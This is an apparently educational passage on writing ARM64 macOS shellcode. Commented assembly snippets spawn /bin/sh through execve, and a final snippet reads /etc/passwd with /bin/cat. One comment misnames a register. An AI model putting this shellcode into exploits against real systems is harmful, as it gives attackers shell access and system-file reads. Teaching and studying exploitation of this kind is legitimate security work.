; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Читання за допомогою cat

Метою є виконання execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), тому другий аргумент (x1) є масивом параметрів (що в пам'яті означає стек адрес).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall